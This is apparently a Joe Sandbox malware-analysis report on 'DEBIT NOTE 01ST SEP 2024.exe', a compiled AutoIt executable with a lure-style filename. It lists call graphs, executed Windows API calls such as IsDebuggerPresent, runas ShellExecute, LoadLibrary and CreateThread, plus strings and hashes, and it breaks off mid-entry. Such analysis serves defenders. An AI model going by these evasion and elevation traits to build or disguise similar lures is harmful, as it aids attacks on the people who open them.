86700 40e687 86699->86700 86701 427616 86700->86701 86702 40c600 52 API calls 86700->86702 86703 40e566 86702->86703 86703->86677 86704 40ef60 86703->86704 86705 40e5c8 86704->86705 86706 40ef66 LoadLibraryA 86704->86706 86705->86679 86705->86680 86706->86705 86707 40ef77 GetProcAddress 86706->86707 86707->86705 86709 40e620 86708->86709 86710 40efd6 LoadLibraryA 86708->86710 86709->86681 86709->86686 86710->86709 86711 40efe7 GetProcAddress 86710->86711 86711->86709 86716 40efb0 LoadLibraryA GetProcAddress 86712->86716 86714 40e632 GetNativeSystemInfo 86714->86689 86714->86690 86715->86679 86716->86714 86717 433b3d8 86731 4339028 86717->86731 86719 433b46a 86734 433b2c8 86719->86734 86733 43396b3 86731->86733 86737 433c498 GetPEB 86731->86737 86733->86719 86735 433b2d1 Sleep 86734->86735 86736 433b2df 86735->86736 86737->86733 86738 425b5e 86743 40c7f0 86738->86743 86742 425b6d 86778 40db10 52 API calls 86743->86778 86745 40c82a 86779 410ab0 6 API calls 86745->86779 86747 40c86d 86748 40bc70 52 API calls 86747->86748 86749 40c877 86748->86749 86750 40bc70 52 API calls 86749->86750 86751 40c881 86750->86751 86752 40bc70 52 API calls 86751->86752 86753 40c88b 86752->86753 86754 40bc70 52 API calls 86753->86754 86755 40c8d1 86754->86755 86756 40bc70 52 API calls 86755->86756 86757 40c991 86756->86757 86780 40d2c0 52 API calls 86757->86780 86759 40c99b 86781 40d0d0 53 API calls 86759->86781 86761 40c9c1 86762 40bc70 52 API calls 86761->86762 86763 40c9cb 86762->86763 86782 40e310 53 API calls 86763->86782 86765 40ca28 86766 408f40 VariantClear 86765->86766 86767 40ca30 86766->86767 86768 408f40 VariantClear 86767->86768 86769 40ca38 GetStdHandle 86768->86769 86770 429630 86769->86770 86771 40ca87 86769->86771 86770->86771 86772 429639 86770->86772 86777 41130a 51 API calls __cinit 86771->86777 86783 4432c0 57 API calls 86772->86783 86774 429641 86784 44b6ab CreateThread 86774->86784 86776 42964f CloseHandle 86776->86771 86777->86742 86778->86745 86779->86747 86780->86759 86781->86761 86782->86765 86783->86774 86784->86776 86785 44b5cb 58 API calls 86784->86785 86786 425b6f 86791 40dc90 86786->86791 86790 425b7e 86792 40bc70 52 API calls 86791->86792 86793 40dd03 86792->86793 86799 40f210 86793->86799 86796 40dd96 86797 40ddb7 86796->86797 86802 40dc00 52 API calls 2 library calls 86796->86802 86798 41130a 51 API calls __cinit 86797->86798 86798->86790 86803 40f250 RegOpenKeyExW 86799->86803 86801 40f230 86801->86796 86802->86796 86804 425e17 86803->86804 86805 40f275 RegQueryValueExW 86803->86805 86804->86801 86806 40f2c3 RegCloseKey 86805->86806 86807 40f298 86805->86807 86806->86801 86808 40f2a9 RegCloseKey 86807->86808 86809 425e1d 86807->86809 86808->86801

                                          Executed Functions

                                          Function 004096A0 Relevance: 33.9, APIs: 21, Instructions: 2413COMMON
                                          Download Yara Rule
                                          APIs
                                          • _wcslen.LIBCMT ref: 004096C1
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • _memmove.LIBCMT ref: 0040970C
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                            • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                                          • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00000000), ref: 00409753
                                          • _memmove.LIBCMT ref: 00409D96
                                          • _memmove.LIBCMT ref: 0040A6C4
                                          • _memmove.LIBCMT ref: 004297E5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove$std::exception::exception$BuffCharException@8ThrowUpper_malloc_wcslen
                                          • String ID:
                                          • API String ID: 2383988440-0
                                          • Opcode ID: c80423eaff0593ad1daf6fa7b1063788de4f89018b33fd36f38930ce8cd7e028
                                          • Instruction ID: 3262ed4b583d717621f118bf118656dde374edbe3d76219253c131e703a2432c
                                          • Opcode Fuzzy Hash: c80423eaff0593ad1daf6fa7b1063788de4f89018b33fd36f38930ce8cd7e028
                                          • Instruction Fuzzy Hash: CD13BF706043109FD724DF25D480A2BB7E1BF89304F54896EE8869B392D739EC56CB9B
                                          Function 0040D590 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144windowCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0040D5AA
                                            • Part of subcall function 00401F20: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,00000104,?), ref: 00401F4C
                                            • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402007
                                            • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 0040201D
                                            • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402033
                                            • Part of subcall function 00401F20: __wcsicoll.LIBCMT ref: 00402049
                                            • Part of subcall function 00401F20: _wcscpy.LIBCMT ref: 0040207C
                                          • IsDebuggerPresent.KERNEL32 ref: 0040D5B6
                                          • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,00000104,?,004A7F50,004A7F54), ref: 0040D625
                                            • Part of subcall function 00401460: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 004014A5
                                          • SetCurrentDirectoryW.KERNEL32(?,00000001), ref: 0040D699
                                          • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,00484C92,00000010), ref: 0042E1C9
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0042E238
                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0042E268
                                          • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 0042E2B2
                                          • ShellExecuteW.SHELL32(00000000), ref: 0042E2B9
                                            • Part of subcall function 00410390: GetSysColorBrush.USER32(0000000F), ref: 0041039B
                                            • Part of subcall function 00410390: LoadCursorW.USER32(00000000,00007F00), ref: 004103AA
                                            • Part of subcall function 00410390: LoadIconW.USER32(?,00000063), ref: 004103C0
                                            • Part of subcall function 00410390: LoadIconW.USER32(?,000000A4), ref: 004103D3
                                            • Part of subcall function 00410390: LoadIconW.USER32(?,000000A2), ref: 004103E6
                                            • Part of subcall function 00410390: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041040E
                                            • Part of subcall function 00410390: RegisterClassExW.USER32(?), ref: 0041045D
                                            • Part of subcall function 00410570: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 004105A5
                                            • Part of subcall function 00410570: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 004105CE
                                            • Part of subcall function 00410570: ShowWindow.USER32(?,00000000), ref: 004105E4
                                            • Part of subcall function 00410570: ShowWindow.USER32(?,00000000), ref: 004105EE
                                            • Part of subcall function 0040E0C0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E1A7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcscpy
                                          • String ID: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                          • API String ID: 2495805114-24915553
                                          • Opcode ID: a40813cb8be74a7845095afbf10676f30eabccecee99da57b5cbcca8d29a6aad
                                          • Instruction ID: d8104b1e62918721d1641daf81013a976a0e8d4b3b5b72af0edf1e1af392be53
                                          • Opcode Fuzzy Hash: a40813cb8be74a7845095afbf10676f30eabccecee99da57b5cbcca8d29a6aad
                                          • Instruction Fuzzy Hash: A3513B71A48201AFD710B7E1AC45BEE3B689B59714F4049BFF905672D2CBBC4A88C72D
                                          Function 0040E500 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 157COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1904 40e500-40e57c call 40bc70 GetVersionExW call 402160 call 40e660 call 40e680 1913 40e582-40e583 1904->1913 1914 427674-427679 1904->1914 1915 40e585-40e596 1913->1915 1916 40e5ba-40e5cb call 40ef60 1913->1916 1917 427683-427686 1914->1917 1918 42767b-427681 1914->1918 1920 427625-427629 1915->1920 1921 40e59c-40e59f 1915->1921 1935 40e5ec-40e60c 1916->1935 1936 40e5cd-40e5e6 GetCurrentProcess call 40ef20 1916->1936 1922 427693-427696 1917->1922 1923 427688-427691 1917->1923 1919 4276b4-4276be 1918->1919 1937 4276c6-4276ca GetSystemInfo 1919->1937 1929 427636-427640 1920->1929 1930 42762b-427631 1920->1930 1925 40e5a5-40e5ae 1921->1925 1926 427654-427657 1921->1926 1922->1919 1927 427698-4276a8 1922->1927 1923->1919 1931 40e5b4 1925->1931 1932 427645-42764f 1925->1932 1926->1916 1938 42765d-42766f 1926->1938 1933 4276b0 1927->1933 1934 4276aa-4276ae 1927->1934 1929->1916 1930->1916 1931->1916 1932->1916 1933->1919 1934->1919 1940 40e612-40e623 call 40efd0 1935->1940 1941 4276d5-4276df GetSystemInfo 1935->1941 1936->1935 1948 40e5e8 1936->1948 1937->1941 1938->1916 1940->1937 1945 40e629-40e63f call 40ef90 GetNativeSystemInfo 1940->1945 1950 40e641-40e642 FreeLibrary 1945->1950 1951 40e644-40e651 1945->1951 1948->1935 1950->1951 1952 40e653-40e654 FreeLibrary 1951->1952 1953 40e656-40e65d 1951->1953 1952->1953
                                          APIs
                                          • GetVersionExW.KERNEL32(?), ref: 0040E52A
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          • GetCurrentProcess.KERNEL32(?), ref: 0040E5D4
                                          • GetNativeSystemInfo.KERNELBASE(?), ref: 0040E632
                                          • FreeLibrary.KERNEL32(?), ref: 0040E642
                                          • FreeLibrary.KERNEL32(?), ref: 0040E654
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_memmove_wcslen
                                          • String ID: 0SH
                                          • API String ID: 3363477735-851180471
                                          • Opcode ID: f8f98c37c4406a4215dc85d7f2641c0e713eb1a411c42a342b42510fc6581298
                                          • Instruction ID: 6dc39e8e7f592ebea2fdbb3e4710260bd4e3e134fe0a85e77c096ec086c2d55c
                                          • Opcode Fuzzy Hash: f8f98c37c4406a4215dc85d7f2641c0e713eb1a411c42a342b42510fc6581298
                                          • Instruction Fuzzy Hash: E361C170908656EECB10CFA9D84429DFBB0BF19308F54496ED404A3B42D379E969CB9A
                                          Function 0040EBD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EBB5,0040D72E), ref: 0040EBDB
                                          • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EBED
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressLibraryLoadProc
                                          • String ID: IsThemeActive$uxtheme.dll
                                          • API String ID: 2574300362-3542929980
                                          • Opcode ID: d24d5e89e243abfb53b7c80675e6652b9f125c078b3c3d01997506936a79e34d
                                          • Instruction ID: d0aec1e7cdd3fc231052cfb2f432bc7d0e698e699ac1f50efe2d89ca8b78c0bc
                                          • Opcode Fuzzy Hash: d24d5e89e243abfb53b7c80675e6652b9f125c078b3c3d01997506936a79e34d
                                          • Instruction Fuzzy Hash: D6D0C7B49407039AD7305F71C91871B76E47B50751F104C3DF946A1294DB7CD040D768
                                          Function 004091E0 Relevance: 44.6, APIs: 22, Strings: 3, Instructions: 837windowsleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409266
                                          • Sleep.KERNEL32(0000000A,?), ref: 004094D1
                                          • TranslateMessage.USER32(?), ref: 00409556
                                          • DispatchMessageW.USER32(?), ref: 00409561
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409574
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Message$Peek$DispatchSleepTranslate
                                          • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE
                                          • API String ID: 1762048999-758534266
                                          • Opcode ID: f501adada9997479f36eff97a8dbeac7b9e74cdaa6692d9ba2f3cae751283df7
                                          • Instruction ID: 6221a9036d09df45d33125ba93b856da71e554157a22c4cdc10a0b2ba1356448
                                          • Opcode Fuzzy Hash: f501adada9997479f36eff97a8dbeac7b9e74cdaa6692d9ba2f3cae751283df7
                                          • Instruction Fuzzy Hash: EF62E370608341AFD724DF25C884BABF7A4BF85304F14492FF94597292D778AC89CB9A
                                          Function 00401F20 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 214COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,00000104,?), ref: 00401F4C
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • __wcsicoll.LIBCMT ref: 00402007
                                          • __wcsicoll.LIBCMT ref: 0040201D
                                          • __wcsicoll.LIBCMT ref: 00402033
                                            • Part of subcall function 004114AB: __wcsicmp_l.LIBCMT ref: 0041152B
                                          • __wcsicoll.LIBCMT ref: 00402049
                                          • _wcscpy.LIBCMT ref: 0040207C
                                          • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,00000104), ref: 00428B5B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicoll$FileModuleName$__wcsicmp_l_memmove_wcscpy_wcslen
                                          • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe$CMDLINE$CMDLINERAW
                                          • API String ID: 3948761352-1620053999
                                          • Opcode ID: 27c0ee8d5e07ffa73b3ecf85f0a0f7e742300051f6853106ad547b3ced8c3f3f
                                          • Instruction ID: a67d1fff980de619c7b08a01c822048bbc87f212fdb5160913ca6de555091b2a
                                          • Opcode Fuzzy Hash: 27c0ee8d5e07ffa73b3ecf85f0a0f7e742300051f6853106ad547b3ced8c3f3f
                                          • Instruction Fuzzy Hash: 0E718571D0021A9ACB10EBA1DD456EE7774AF54308F40843FF905772D1EBBC6A49CB99
                                          Function 00452719 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 147COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __fread_nolock$_fseek_wcscpy
                                          • String ID: D)E$D)E$FILE
                                          • API String ID: 3888824918-361185794
                                          • Opcode ID: b4a6abdb64f38c8defcee882be961308622b799a5cba7293a02d79de09a932e7
                                          • Instruction ID: d9efd4ed024b2b159ad8c10c4a9bf0fd337e36d0f3dc2ca46923192c63d65648
                                          • Opcode Fuzzy Hash: b4a6abdb64f38c8defcee882be961308622b799a5cba7293a02d79de09a932e7
                                          • Instruction Fuzzy Hash: DC4196B2910204BBEB20EBD5DC81FEF7379AF88704F14455EFA0497281F6799684CBA5
                                          Function 0040E360 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 151COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040E3FF
                                          • __wsplitpath.LIBCMT ref: 0040E41C
                                            • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                                          • _wcsncat.LIBCMT ref: 0040E433
                                          • __wmakepath.LIBCMT ref: 0040E44F
                                            • Part of subcall function 00413A9E: __wmakepath_s.LIBCMT ref: 00413AB4
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                            • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                                          • _wcscpy.LIBCMT ref: 0040E487
                                            • Part of subcall function 0040E4C0: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,0040E4A1), ref: 0040E4DD
                                          • _wcscat.LIBCMT ref: 00427541
                                          • _wcslen.LIBCMT ref: 00427551
                                          • _wcslen.LIBCMT ref: 00427562
                                          • _wcscat.LIBCMT ref: 0042757C
                                          • _wcsncpy.LIBCMT ref: 004275BC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcscat_wcslenstd::exception::exception$Exception@8FileModuleNameOpenThrow__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpy
                                          • String ID: Include$\
                                          • API String ID: 3173733714-3429789819
                                          • Opcode ID: 319b33b76db705e9c7f26a1fcfbfbea2712403a0e0e393e117160b8853bc2a6c
                                          • Instruction ID: e70d120923bcd55e0c09bdb97153e7c20ea4c8242d515b2096525f9594b4aeca
                                          • Opcode Fuzzy Hash: 319b33b76db705e9c7f26a1fcfbfbea2712403a0e0e393e117160b8853bc2a6c
                                          • Instruction Fuzzy Hash: 9851DAB1504301ABE314EF66DC8589BBBE4FB8D304F40493EF589972A1E7749944CB5E
                                          Function 004528BD Relevance: 19.7, APIs: 13, Instructions: 173COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • _fseek.LIBCMT ref: 0045292B
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045273E
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452780
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045279E
                                            • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 004527D2
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 004527E2
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452800
                                            • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 00452831
                                          • __fread_nolock.LIBCMT ref: 00452961
                                          • __fread_nolock.LIBCMT ref: 00452971
                                          • __fread_nolock.LIBCMT ref: 0045298A
                                          • __fread_nolock.LIBCMT ref: 004529A5
                                          • _fseek.LIBCMT ref: 004529BF
                                          • _malloc.LIBCMT ref: 004529CA
                                          • _malloc.LIBCMT ref: 004529D6
                                          • __fread_nolock.LIBCMT ref: 004529E7
                                          • _free.LIBCMT ref: 00452A17
                                          • _free.LIBCMT ref: 00452A20
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __fread_nolock$_free_fseek_malloc_wcscpy
                                          • String ID:
                                          • API String ID: 1255752989-0
                                          • Opcode ID: dcee285f3eb4ed07ece3e5bb349529478d219aecda09341451d4e57d6f047cda
                                          • Instruction ID: f7ea06a446360153d9086f7ce944ba4ee1a7a4a6ab52c1fb03413739877f8e55
                                          • Opcode Fuzzy Hash: dcee285f3eb4ed07ece3e5bb349529478d219aecda09341451d4e57d6f047cda
                                          • Instruction Fuzzy Hash: B95111F1900218AFDB60DF65DC81B9A77B9EF88304F0085AEF50CD7241E675AA84CF59
                                          Function 00410490 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 56windowregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetSysColorBrush.USER32(0000000F), ref: 004104C3
                                          • RegisterClassExW.USER32(00000030), ref: 004104ED
                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004104FE
                                          • InitCommonControlsEx.COMCTL32(004A90E8), ref: 0041051B
                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 0041052B
                                          • LoadIconW.USER32(00400000,000000A9), ref: 00410542
                                          • ImageList_ReplaceIcon.COMCTL32(00B957A0,000000FF,00000000), ref: 00410552
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
